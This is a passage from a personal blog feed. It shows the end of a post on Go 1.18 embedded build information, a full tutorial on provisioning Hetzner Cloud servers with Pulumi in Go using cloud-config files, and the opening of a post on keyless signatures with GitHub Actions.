	build	vcs.revision=7e22e19e829d84170072d2459e5870876df495ed
	build	vcs.time=2022-04-03T16:59:50Z
	build	vcs.modified=false
</code></pre><p>Another interesing side note: If your project uses external dependencies, these dependencies will get listed as well:</p>
<pre><code>❯ go version -m ./embedmd 
./embedmd: go1.18
	path	github.com/campoy/embedmd
	mod	github.com/campoy/embedmd	v1.0.0	h1:V4kI2qTJJLf4J29RzI/MAt2c3Bl4dQSYPuflzwFH2hY=
	dep	github.com/pmezard/go-difflib	v1.0.0	h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
	build	-compiler=gc
	build	CGO_ENABLED=1
	build	CGO_CFLAGS=
	build	CGO_CPPFLAGS=
	build	CGO_CXXFLAGS=
	build	CGO_LDFLAGS=
	build	GOARCH=amd64
	build	GOOS=linux
	build	GOAMD64=v1
</code></pre><p>By the way, this information survives if you decide to strip the binary!</p>
<p>To summarize this little article:</p>
<ul>
<li>Go 1.18 provides fancy new build information</li>
<li>VCS are automatically identified and used</li>
<li>If you only care for revision and build date, you can stop injecting values.</li>
</ul>
]]></content></item><item><title>Hetzner Pulumi Intro</title><link>https://shibumi.dev/posts/hetzner-pulumi-intro/</link><pubDate>Sun, 21 Nov 2021 17:08:36 +0100</pubDate><guid>https://shibumi.dev/posts/hetzner-pulumi-intro/</guid><description>The full configuration for this article can be visited here: https://github.com/shibumi/infra/tree/pulumi-migration
This weekend I had finally some time to have a longer glimpse on Hetzner and Pulumi. Pulumi sparked my interest for a pretty long time now after reading Engin&amp;rsquo;s blog post about pulumi and Microsoft Azure. I tried Pulumi earlier, but I gave up pretty fast, because it had no Netlify support. The missing Netlify support did not change, but I did not want to invest time in my Terraform configuration, hence I decided to have a look on Pulumi instead.</description><content type="html"><![CDATA[<p>The full configuration for this article can be visited here: <a href="https://github.com/shibumi/infra/tree/pulumi-migration">https://github.com/shibumi/infra/tree/pulumi-migration</a></p>
<p>This weekend I had finally some time to have a longer glimpse on Hetzner and Pulumi. Pulumi sparked
my interest for a pretty long time now after reading <a href="https://blog.ediri.io/podtato-head-pulumi-and-azure-container-apps">Engin&rsquo;s blog post about pulumi and Microsoft Azure</a>.
I tried Pulumi earlier, but I gave up pretty fast, because it had no Netlify support. The missing Netlify support did not change, but I did not want to
invest time in my Terraform configuration, hence I decided to have a look on Pulumi instead.</p>
<p>So, what is Pulumi? Pulumi is just another infrastructure as code tool, but this Pulumi is more serious about the code aspect of it. You may know tools like
Hashicorp Terraform already. Hashicorp states that Terraform is infrastructure as code and although the Hashicorp configuration language (HCL) may be turing complete (is it?!)
I would not really consider it as infrastructure as code. What I always disliked about Terraform was that HCL felt more like a configuration language than a programming language.
For me it always felt like JSON on steroids with lots of syntax sugar and additional templating features. It did not really feel like Code. Pulumi does this all different
by providing a client, an optional web service and real programming libraries. The latter in that list is the game changer. With Pulumi it is possible to use your favorite
programming language and finally do what infrastructure as code should be like: You define in your infrastructure in a high level programming language.
The supported languages are Node.js, Python, Go and .NET Core. Most libraries in Pulumi have been imported from Terraform modules (I wonder how Hashicorp feels about this)
and the bigger libraries are rewritten from scratch as Pulumi native library. Today, I would like to showcase Pulumi a little bit with setting up a server at the Hetzner Cloud. I choose Hetzner, because I think there were enough hyperscaler tutorials.</p>
<p>Let us start with initializing the Pulumi client. Pulumi keeps, similar to Terraform, a state. This state can be stored on your local machine or in the cloud.
If you are very paranoid about your secrets you can enable local storage via executing <code>pulumi login --local</code>. This command will initialize the Pulumi state in your home directory
at <code>$HOME/.pulumi</code>. You can skip this command if you prefer the Pulumi web service as state storage. In a production environment, I would suggest storing the state within your cloud provider
or within Pulumi.</p>
<p>My favorite programming language is Go, right now. The following lines initialize a new Go pulumi project:</p>
<pre><code>❯ pulumi new go
This command will walk you through creating a new Pulumi project.

Enter a value or leave blank to accept the (default), and press &lt;ENTER&gt;.
Press ^C at any time to quit.

project name: (infra) infra
project description: (A minimal Go Pulumi program) my private infrastructure
Created project 'infra'

stack name: (dev)
Created stack 'dev'
Enter your passphrase to protect config/secrets:
Re-enter your passphrase to confirm:

Enter your passphrase to unlock config/secrets
    (set PULUMI_CONFIG_PASSPHRASE or PULUMI_CONFIG_PASSPHRASE_FILE to remember):
Installing dependencies...

Finished installing dependencies

Your new project is ready to go!

To perform an initial deployment, run 'pulumi up'
</code></pre><p>One of the first aspects I like about Pulumi is that the state is encrypted on default. Next, we are going to have a look on our custom layout.
Due to the infrastructure as code philosophy, we can fully customize the layout of our project. My current infrastructure project is as follows:</p>
<pre><code>.
├── assets
│  └── cloud-config
│     └── ritsuko.yaml
├── go.mod
├── go.sum
├── internal
│  ├── cloudconfig.go
│  ├── config.go
│  └── helper.go
├── main.go
├── Pulumi.dev.yaml
└── Pulumi.yaml
</code></pre><p>The assets directory has a sub-directory with cloud configuration files. Pulumi.yaml is the main configuration file of the project and
Pulumi.dev.yaml is the configuration file for the stack <code>dev</code>. Stacks are different environments (Dev, Stage, Production).
Our goal for this little article is to get a configuration from our Pulumi.dev.yaml file, read all files in the cloud-config
directory and use this cloud-config files to create servers.</p>
<p>After initialization of the project you just have a main.go file and the two Pulumi configuration files. The main.go should look like this:</p>
<div class="highlight"><pre class="chroma"><code class="language-go" data-lang="go"><span class="kn">package</span> <span class="nx">main</span>

<span class="kn">import</span> <span class="p">(</span>
    <span class="s">&#34;github.com/pulumi/pulumi/sdk/v3/go/pulumi&#34;</span>
<span class="p">)</span>

<span class="kd">func</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="nx">pulumi</span><span class="p">.</span><span class="nf">Run</span><span class="p">(</span><span class="kd">func</span><span class="p">(</span><span class="nx">ctx</span> <span class="o">*</span><span class="nx">pulumi</span><span class="p">.</span><span class="nx">Context</span><span class="p">)</span> <span class="kt">error</span> <span class="p">{</span>
        <span class="k">return</span> <span class="kc">nil</span>
    <span class="p">})</span>
<span class="p">}</span>
</code></pre></div><p>For further development you just have to extend the <code>pulumi.Run</code> method. But, first we are going to add some variables to the dev stack configuration file:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">encryptionsalt</span><span class="p">:</span><span class="w"> </span>&lt;REDACTED&gt;<span class="w">
</span><span class="w"></span><span class="k">config</span><span class="p">:</span><span class="w">
</span><span class="w">  </span>infra🔑<span class="w">
</span><span class="w">    </span><span class="k">id</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;chris@motoko&#34;</span><span class="w">
</span><span class="w">    </span><span class="k">publicKey</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHlRfwIYqaqWfh5ObpCV5pA+n+KolK64LZ5VyIi5ZjwtEswkDI6KcGDTGcWYY+/XJ42kj7SbYHSCm4t/HAXHgmKDuQPzq72nVY7G1DjYrArGig9ni0/XCJY64s5oBgW8wVPTnbf/wYo+gHqsXO7ZaJKknW7jybmIiMC9hx+BkGugyT2WdVnI/8fXiR7VBArSfPIT/ieuWi+GR/7nIz6X09d77pY+tZzeOfbm2obU3EsIh8KJzoZeeopqOFnxooTGtk3ifL8Sv154KDzPwRnaGKdwd36aljQharAUkRQS3bVZiRx1Jw19+1XT0a8/D70ilAKMX6ilUa+LO9jObd49pUSitVGN6gHV5LBybbXjdaLe62dN9gRttJ24KjoJer1o2PMRxNxjwGgksPXhcyfBgbxmNOnsGYZ90PFdp3CH3eh9V8wmwj/ATPnX0s7pAVIpJt6lvdMfoZoezWhk/N0e0GpLWc7hmhxmEP0GYp5+oLL4n5wGr39uOsjPeqpx5c+QJPgIk0cJpKW8gVOw5T8e72v6r44APy9+XLTx2rAwfKeTBwyQo/yiGRo+gEdrPROOl9bei+eGFApJLtHPGqMP5PzMpY1A67z3D4tZ8zPoIqDoos5O6k04aXkbHjNCOkbwY29PfqZzqZmEo+FGDAhqwzpfc/7e7vDJTLWusIxxaaOQ== chris@motoko&#34;</span><span class="w">
</span><span class="w">  </span><span class="k">infra:cloudConfigPath</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;assets/cloud-config&#34;</span><span class="w">
</span></code></pre></div><p>Keys in the pulumi world always have a namespace and an identifier <code>namespace:identifier</code>. <code>infra</code> is our default namespace, because our project has the name <code>infra</code>.
For Hetzner cloud access we can add the Hetzner cloud token to the configuration and import the pulumi Hetzner package:</p>
<pre><code>$ pulumi config set hcloud:token XXXXXXXXXXXXXX --secret
$ go get github.com/pulumi/pulumi-hcloud/sdk/go/hcloud@latest
</code></pre><p>With this configuration in place we can now continue with our main method and add our first SSH public key to Hetzner:</p>
<div class="highlight"><pre class="chroma"><code class="language-go" data-lang="go"><span class="kn">package</span> <span class="nx">main</span>

<span class="kn">import</span> <span class="p">(</span>
	<span class="s">&#34;github.com/pulumi/pulumi-hcloud/sdk/go/hcloud&#34;</span>
	<span class="s">&#34;github.com/pulumi/pulumi/sdk/v3/go/pulumi&#34;</span>
<span class="p">)</span>

<span class="kd">func</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="nx">pulumi</span><span class="p">.</span><span class="nf">Run</span><span class="p">(</span><span class="kd">func</span><span class="p">(</span><span class="nx">ctx</span> <span class="o">*</span><span class="nx">pulumi</span><span class="p">.</span><span class="nx">Context</span><span class="p">)</span> <span class="kt">error</span> <span class="p">{</span>
		<span class="c1">// read configuration file
</span><span class="c1"></span>		<span class="kd">var</span> <span class="nx">pubKey</span> <span class="nx">internal</span><span class="p">.</span><span class="nx">SSHPublicKey</span>
		<span class="nx">pulumiConf</span> <span class="o">:=</span> <span class="nx">config</span><span class="p">.</span><span class="nf">New</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="s">&#34;&#34;</span><span class="p">)</span>                        <span class="c1">// namespace &#34;&#34; refers to the default project namespace &#34;infra&#34;
</span><span class="c1"></span>		<span class="nx">pulumiConf</span><span class="p">.</span><span class="nf">RequireObject</span><span class="p">(</span><span class="s">&#34;key&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="nx">pubKey</span><span class="p">)</span>                 <span class="c1">// read infra:key object
</span><span class="c1"></span>		<span class="nx">cloudConfigPath</span> <span class="o">:=</span> <span class="nx">pulumiConf</span><span class="p">.</span><span class="nf">Require</span><span class="p">(</span><span class="s">&#34;cloudConfigPath&#34;</span><span class="p">)</span> <span class="c1">// read infra:cloudConfigPath string
</span><span class="c1"></span>
		<span class="c1">// create Hetzner SSH Public Key
</span><span class="c1"></span>		<span class="nx">sshKey</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">hcloud</span><span class="p">.</span><span class="nf">NewSshKey</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">pubKey</span><span class="p">.</span><span class="nx">ID</span><span class="p">,</span> <span class="o">&amp;</span><span class="nx">hcloud</span><span class="p">.</span><span class="nx">SshKeyArgs</span><span class="p">{</span>
			<span class="nx">Name</span><span class="p">:</span>      <span class="nx">pulumi</span><span class="p">.</span><span class="nf">String</span><span class="p">(</span><span class="nx">pubKey</span><span class="p">.</span><span class="nx">ID</span><span class="p">),</span>
			<span class="nx">PublicKey</span><span class="p">:</span> <span class="nx">pulumi</span><span class="p">.</span><span class="nf">String</span><span class="p">(</span><span class="nx">pubKey</span><span class="p">.</span><span class="nx">PublicKey</span><span class="p">),</span>
		<span class="p">})</span>

    <span class="k">return</span> <span class="kc">nil</span>
  <span class="p">})</span>
<span class="p">}</span>
</code></pre></div><p>internal.SSHPublicKey refers to a struct in our <code>internal</code> package:</p>
<div class="highlight"><pre class="chroma"><code class="language-go" data-lang="go"><span class="kn">package</span> <span class="nx">internal</span>

<span class="c1">// SSHPublicKey extends the SSH public key with its ID (comment field)
</span><span class="c1">// This makes handling easier. We just get the key from the pulumi configuration.
</span><span class="c1">// An alternative is parsing the key and reading the comment field.
</span><span class="c1"></span><span class="kd">type</span> <span class="nx">SSHPublicKey</span> <span class="kd">struct</span> <span class="p">{</span>
	<span class="nx">ID</span>        <span class="kt">string</span>
	<span class="nx">PublicKey</span> <span class="kt">string</span>
<span class="p">}</span>
</code></pre></div><p>Next, we are creating our first cloud config file. I usually name these files in the following pattern <code>&lt;serverName&gt;.yaml</code>.
This has the little advantage that we can use these files to bootstrap servers later. Here is a very simplified cloud configuration:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="c">#cloud-config</span><span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">ntp</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">enabled</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="w"></span><span class="k">timezone</span><span class="p">:</span><span class="w"> </span>UTC<span class="w">
</span><span class="w"></span><span class="k">fqdn</span><span class="p">:</span><span class="w"> </span>ritsuko.shibumi.dev<span class="w">
</span><span class="w"></span><span class="k">ssh_pwauth</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="w"></span><span class="k">ssh_authorized_keys</span><span class="p">:</span><span class="w">
</span><span class="w">  </span>- <span class="s2">&#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHlRfwIYqaqWfh5ObpCV5pA+n+KolK64LZ5VyIi5ZjwtEswkDI6KcGDTGcWYY+/XJ42kj7SbYHSCm4t/HAXHgmKDuQPzq72nVY7G1DjYrArGig9ni0/XCJY64s5oBgW8wVPTnbf/wYo+gHqsXO7ZaJKknW7jybmIiMC9hx+BkGugyT2WdVnI/8fXiR7VBArSfPIT/ieuWi+GR/7nIz6X09d77pY+tZzeOfbm2obU3EsIh8KJzoZeeopqOFnxooTGtk3ifL8Sv154KDzPwRnaGKdwd36aljQharAUkRQS3bVZiRx1Jw19+1XT0a8/D70ilAKMX6ilUa+LO9jObd49pUSitVGN6gHV5LBybbXjdaLe62dN9gRttJ24KjoJer1o2PMRxNxjwGgksPXhcyfBgbxmNOnsGYZ90PFdp3CH3eh9V8wmwj/ATPnX0s7pAVIpJt6lvdMfoZoezWhk/N0e0GpLWc7hmhxmEP0GYp5+oLL4n5wGr39uOsjPeqpx5c+QJPgIk0cJpKW8gVOw5T8e72v6r44APy9+XLTx2rAwfKeTBwyQo/yiGRo+gEdrPROOl9bei+eGFApJLtHPGqMP5PzMpY1A67z3D4tZ8zPoIqDoos5O6k04aXkbHjNCOkbwY29PfqZzqZmEo+FGDAhqwzpfc/7e7vDJTLWusIxxaaOQ== chris@motoko&#34;</span><span class="w">
</span><span class="w"></span><span class="k">runcmd</span><span class="p">:</span><span class="w">
</span><span class="w">  </span>- <span class="s2">&#34;dnf install dnf-automatic -y&#34;</span><span class="w">
</span><span class="w">  </span>- <span class="s2">&#34;systemctl enable dnf-automatic.timer --now&#34;</span><span class="w">
</span></code></pre></div><p>You might be confused now, because I am adding the SSH key twice and you absolutly can be. Actually, I would like to add the key via the cloud-config file only, but
Hetzner cloud reacts with enabling password authentication for the host and sending you the password via mail if you do not set the SSH key via their API.
I would like to circumvent this and decided to just set it twice. It might make sense to either remove it in the cloud-config file and set it only via Hetzner API
or set it only via cloud-config, while ignoring Hetzner root password mails. The cloud-config file disables ssh_pwauth anyway (shrug).</p>
<p>For reading all cloud-config files I have setup a little helper function:</p>
<div class="highlight"><pre class="chroma"><code class="language-go" data-lang="go"><span class="kn">package</span> <span class="nx">internal</span>

<span class="kn">import</span> <span class="p">(</span>
	<span class="s">&#34;github.com/pulumi/pulumi-cloudinit/sdk/go/cloudinit&#34;</span>
	<span class="s">&#34;github.com/pulumi/pulumi/sdk/v3/go/pulumi&#34;</span>
	<span class="s">&#34;io/ioutil&#34;</span>
	<span class="s">&#34;path/filepath&#34;</span>
	<span class="s">&#34;strings&#34;</span>
<span class="p">)</span>

<span class="c1">// cloudConfigContentType cannot be a constant, because we cannot use pointers to constants in Go
</span><span class="c1"></span><span class="kd">var</span> <span class="nx">cloudConfigContentType</span> <span class="p">=</span> <span class="s">&#34;text/cloud-config&#34;</span>

<span class="c1">// CloudConfig extends the pulumi cloud-config with an ID
</span><span class="c1"></span><span class="kd">type</span> <span class="nx">CloudConfig</span> <span class="kd">struct</span> <span class="p">{</span>
	<span class="nx">ID</span>          <span class="kt">string</span>
	<span class="nx">CloudConfig</span> <span class="o">*</span><span class="nx">cloudinit</span><span class="p">.</span><span class="nx">LookupConfigResult</span>
<span class="p">}</span>

<span class="c1">// NewCloudConfigs reads all cloud-config files in a given path and returns
</span><span class="c1">// a slice of CloudConfig
</span><span class="c1"></span><span class="kd">func</span> <span class="nf">NewCloudConfigs</span><span class="p">(</span><span class="nx">ctx</span> <span class="o">*</span><span class="nx">pulumi</span><span class="p">.</span><span class="nx">Context</span><span class="p">,</span> <span class="nx">path</span> <span class="kt">string</span><span class="p">)</span> <span class="p">([]</span><span class="nx">CloudConfig</span><span class="p">,</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
	<span class="kd">var</span> <span class="nx">cloudConfigs</span> <span class="p">[]</span><span class="nx">CloudConfig</span>

	<span class="nx">files</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">ioutil</span><span class="p">.</span><span class="nf">ReadDir</span><span class="p">(</span><span class="nx">path</span><span class="p">)</span>
	<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">nil</span><span class="p">,</span> <span class="nx">err</span>
	<span class="p">}</span>
	<span class="k">for</span> <span class="nx">_</span><span class="p">,</span> <span class="nx">f</span> <span class="o">:=</span> <span class="k">range</span> <span class="nx">files</span> <span class="p">{</span>
		<span class="nx">config</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">ioutil</span><span class="p">.</span><span class="nf">ReadFile</span><span class="p">(</span><span class="nx">filepath</span><span class="p">.</span><span class="nf">Join</span><span class="p">(</span><span class="nx">path</span><span class="p">,</span> <span class="nx">f</span><span class="p">.</span><span class="nf">Name</span><span class="p">()))</span>
		<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
			<span class="k">return</span> <span class="kc">nil</span><span class="p">,</span> <span class="nx">err</span>
		<span class="p">}</span>
		<span class="nx">cloudConfig</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">cloudinit</span><span class="p">.</span><span class="nf">LookupConfig</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="o">&amp;</span><span class="nx">cloudinit</span><span class="p">.</span><span class="nx">LookupConfigArgs</span><span class="p">{</span>
			<span class="nx">Base64Encode</span><span class="p">:</span> <span class="nf">BoolPtr</span><span class="p">(</span><span class="kc">false</span><span class="p">),</span>
			<span class="nx">Gzip</span><span class="p">:</span>         <span class="nf">BoolPtr</span><span class="p">(</span><span class="kc">false</span><span class="p">),</span>
			<span class="nx">Parts</span><span class="p">:</span> <span class="p">[]</span><span class="nx">cloudinit</span><span class="p">.</span><span class="nx">GetConfigPart</span><span class="p">{</span>
				<span class="p">{</span>
					<span class="nx">Content</span><span class="p">:</span>     <span class="nb">string</span><span class="p">(</span><span class="nx">config</span><span class="p">),</span>
					<span class="nx">ContentType</span><span class="p">:</span> <span class="o">&amp;</span><span class="nx">cloudConfigContentType</span><span class="p">,</span>
					<span class="nx">Filename</span><span class="p">:</span>    <span class="nf">StringPtr</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nf">Name</span><span class="p">()),</span>
				<span class="p">},</span>
			<span class="p">},</span>
		<span class="p">})</span>
		<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
			<span class="k">return</span> <span class="kc">nil</span><span class="p">,</span> <span class="nx">err</span>
		<span class="p">}</span>
		<span class="nx">cloudConfigs</span> <span class="p">=</span> <span class="nb">append</span><span class="p">(</span><span class="nx">cloudConfigs</span><span class="p">,</span> <span class="nx">CloudConfig</span><span class="p">{</span>
			<span class="nx">ID</span><span class="p">:</span>          <span class="nx">strings</span><span class="p">.</span><span class="nf">TrimSuffix</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nf">Name</span><span class="p">(),</span> <span class="nx">filepath</span><span class="p">.</span><span class="nf">Ext</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nf">Name</span><span class="p">())),</span>
			<span class="nx">CloudConfig</span><span class="p">:</span> <span class="nx">cloudConfig</span><span class="p">,</span>
		<span class="p">})</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="nx">cloudConfigs</span><span class="p">,</span> <span class="kc">nil</span>
<span class="p">}</span>

<span class="c1">// BoolPtr needs a bool and returns a pointer to the bool.
</span><span class="c1">// This function is needed for pulumi&#39;s cloud-config.
</span><span class="c1">// Pulumi&#39;s cloud-config does not seem to support pulumi.Bool or pulumi.BoolPtr :(
</span><span class="c1"></span><span class="kd">func</span> <span class="nf">BoolPtr</span><span class="p">(</span><span class="nx">b</span> <span class="kt">bool</span><span class="p">)</span> <span class="o">*</span><span class="kt">bool</span> <span class="p">{</span>
	<span class="k">return</span> <span class="o">&amp;</span><span class="nx">b</span>
<span class="p">}</span>

<span class="c1">// StringPtr needs a string and returns a pointer to the string.
</span><span class="c1">// This function is needed for pulumi&#39;s cloud-config.
</span><span class="c1">// Pulumi&#39;s cloud-config does not seem to support pulumi.String or pulumi.StringPtr :(
</span><span class="c1"></span><span class="kd">func</span> <span class="nf">StringPtr</span><span class="p">(</span><span class="nx">s</span> <span class="kt">string</span><span class="p">)</span> <span class="o">*</span><span class="kt">string</span> <span class="p">{</span>
	<span class="k">return</span> <span class="o">&amp;</span><span class="nx">s</span>
<span class="p">}</span>
</code></pre></div><p>The <code>NewCloudConfigs</code> function reads all files in the cloud-config directory, creates cloud-config objects from these files and connects
them with their filename as ID. Surprisingly, we have to create two small helper functions here, because I seem to be unable to use
the two Pulumi types for the CloudConfig fields (<code>pulumi.Bool</code> and <code>pulumi.BoolPtr</code>). The final main.go file can then use this <code>NewCloudConfigs</code>
method:</p>
<div class="highlight"><pre class="chroma"><code class="language-go" data-lang="go"><span class="kd">func</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="nx">pulumi</span><span class="p">.</span><span class="nf">Run</span><span class="p">(</span><span class="kd">func</span><span class="p">(</span><span class="nx">ctx</span> <span class="o">*</span><span class="nx">pulumi</span><span class="p">.</span><span class="nx">Context</span><span class="p">)</span> <span class="kt">error</span> <span class="p">{</span>
		<span class="c1">// read configuration file
</span><span class="c1"></span>		<span class="kd">var</span> <span class="nx">pubKey</span> <span class="nx">internal</span><span class="p">.</span><span class="nx">SSHPublicKey</span>
		<span class="nx">pulumiConf</span> <span class="o">:=</span> <span class="nx">config</span><span class="p">.</span><span class="nf">New</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="s">&#34;&#34;</span><span class="p">)</span>                        <span class="c1">// namespace &#34;&#34; refers to the project namespace &#34;infra&#34;
</span><span class="c1"></span>		<span class="nx">pulumiConf</span><span class="p">.</span><span class="nf">RequireObject</span><span class="p">(</span><span class="s">&#34;key&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="nx">pubKey</span><span class="p">)</span>                 <span class="c1">// read infra:key object
</span><span class="c1"></span>		<span class="nx">cloudConfigPath</span> <span class="o">:=</span> <span class="nx">pulumiConf</span><span class="p">.</span><span class="nf">Require</span><span class="p">(</span><span class="s">&#34;cloudConfigPath&#34;</span><span class="p">)</span> <span class="c1">// read infra:cloudConfigPath string
</span><span class="c1"></span>
		<span class="c1">// create Hetzner SSH Public Key
</span><span class="c1"></span>		<span class="nx">sshKey</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">hcloud</span><span class="p">.</span><span class="nf">NewSshKey</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">pubKey</span><span class="p">.</span><span class="nx">ID</span><span class="p">,</span> <span class="o">&amp;</span><span class="nx">hcloud</span><span class="p">.</span><span class="nx">SshKeyArgs</span><span class="p">{</span>
			<span class="nx">Name</span><span class="p">:</span>      <span class="nx">pulumi</span><span class="p">.</span><span class="nf">String</span><span class="p">(</span><span class="nx">pubKey</span><span class="p">.</span><span class="nx">ID</span><span class="p">),</span>
			<span class="nx">PublicKey</span><span class="p">:</span> <span class="nx">pulumi</span><span class="p">.</span><span class="nf">String</span><span class="p">(</span><span class="nx">pubKey</span><span class="p">.</span><span class="nx">PublicKey</span><span class="p">),</span>
		<span class="p">})</span>

		<span class="c1">// create cloud-configs
</span><span class="c1"></span>		<span class="nx">cloudConfigs</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">internal</span><span class="p">.</span><span class="nf">NewCloudConfigs</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">cloudConfigPath</span><span class="p">)</span>
		<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
			<span class="k">return</span> <span class="nx">err</span>
		<span class="p">}</span>

		<span class="c1">// use cloud-configs to initialize virtual machines
</span><span class="c1"></span>		<span class="k">for</span> <span class="nx">_</span><span class="p">,</span> <span class="nx">cloudConfig</span> <span class="o">:=</span> <span class="k">range</span> <span class="nx">cloudConfigs</span> <span class="p">{</span>
			<span class="nx">_</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">hcloud</span><span class="p">.</span><span class="nf">NewServer</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">cloudConfig</span><span class="p">.</span><span class="nx">ID</span><span class="p">,</span> <span class="o">&amp;</span><span class="nx">hcloud</span><span class="p">.</span><span class="nx">ServerArgs</span><span class="p">{</span>
				<span class="nx">Image</span><span class="p">:</span>      <span class="nx">pulumi</span><span class="p">.</span><span class="nf">String</span><span class="p">(</span><span class="s">&#34;fedora-34&#34;</span><span class="p">),</span>
				<span class="nx">Name</span><span class="p">:</span>       <span class="nx">pulumi</span><span class="p">.</span><span class="nf">String</span><span class="p">(</span><span class="nx">cloudConfig</span><span class="p">.</span><span class="nx">ID</span><span class="p">),</span>
				<span class="nx">ServerType</span><span class="p">:</span> <span class="nx">pulumi</span><span class="p">.</span><span class="nf">String</span><span class="p">(</span><span class="s">&#34;cx11&#34;</span><span class="p">),</span>
				<span class="nx">SshKeys</span><span class="p">:</span> <span class="nx">pulumi</span><span class="p">.</span><span class="nx">StringArray</span><span class="p">{</span>
					<span class="nx">sshKey</span><span class="p">.</span><span class="nx">Name</span><span class="p">,</span>
				<span class="p">},</span>
				<span class="nx">UserData</span><span class="p">:</span> <span class="nx">pulumi</span><span class="p">.</span><span class="nf">String</span><span class="p">(</span><span class="nx">cloudConfig</span><span class="p">.</span><span class="nx">CloudConfig</span><span class="p">.</span><span class="nx">Rendered</span><span class="p">),</span>
			<span class="p">})</span>
			<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
				<span class="k">return</span> <span class="nx">err</span>
			<span class="p">}</span>
		<span class="p">}</span>
		<span class="k">return</span> <span class="kc">nil</span>
	<span class="p">})</span>
<span class="p">}</span>
</code></pre></div><p>With running <code>pulumi up</code> we are able to create all resources and with <code>pulumi destroy</code> we can destroy all resources, again:</p>
<pre><code>❯ pulumi up
Previewing update (dev):
     Type                    Name          Plan       
 +   pulumi:pulumi:Stack     infra-dev     create     
 +   ├─ hcloud:index:SshKey  chris@motoko  create     
 +   └─ hcloud:index:Server  ritsuko       create     
 
Resources:
    + 3 to create

Do you want to perform this update?  [Use arrows to move, enter to select, type to filter]
  yes
&gt; no
  details
</code></pre><h1 id="conclusion">Conclusion</h1>
<p>I think Pulumi has a huge potential, because it feels much more natural than using the Hashicorp configuration language (HCL).
I do not know how many hours I have wasted into HCL for writing very simple loops and just for finding out later that these loops
do not work that way, because Terraform is a little bit different. With Pulumi these frustrations are gone.</p>
<p>Pulumi provides a very convenient way for teams without any HCL knowledge to manage infrastructure in their favorite programming language.
But, I still see a few problems with Pulumi. Writing the Pulumi code feels a little bit frustrating sometimes, too.
Especially, Pulumi&rsquo;s custom datatypes like <code>pulumi.String</code> or <code>pulumi.Bool</code> gave me lots of headache, because I had no idea how to fill
these fields in the Pulumi structs at first and then I found out about the Pulumi datatypes I got even more frustrated when I found out
that the Pulumi cloud configuration method had trouble with using these custom data types. This might be just my personal experience.
If you know a way how to fill these fields in the <code>cloudinit.LookupConfigArgs</code> struct without using custom helper methods let me know.</p>
]]></content></item><item><title>Keyless signatures with Github Actions</title><link>https://shibumi.dev/posts/keyless-signatures-with-github-actions/</link><pubDate>Sat, 13 Nov 2021 23:16:16 +0100</pubDate><guid>https://shibumi.dev/posts/keyless-signatures-with-github-actions/</guid><description>As Arch Linux package maintainer I heavily rely on a secure upstream and a secure source code distribution process. I have spent days or maybe even weeks discussing with maintainers why I rely on a secure upstream and how important signatures on tags, commits or source tarballs are. Many maintainers have started signing their source tarballs after such a discussion, others mentioned problems with their PGP keys and a minority saw signing their source tarballs as waste of time.</description><content type="html"><![CDATA[<p>As Arch Linux package maintainer I heavily rely on a secure upstream and a secure source code distribution process.
I have spent days or maybe even weeks discussing with maintainers why I rely on a secure upstream
and how important signatures on tags, commits or source tarballs are. Many maintainers have started signing
their source tarballs after such a discussion, others mentioned problems with their PGP keys and a minority
saw signing their source tarballs as waste of time.</p>
<p>This article is for every maintainer out there that has trouble with setting up PGP. We all know
that setting up PGP is painful and incredibly difficult to do right, especially when aiming for automated
build pipelines instead of a manual release process with human interaction. Several times, maintainers
forgot the password for their PGP key, lost their PGP key or just changed it, very often without knowing
the implications of these incidents for their downstream. After these incidents, many maintainers stopped
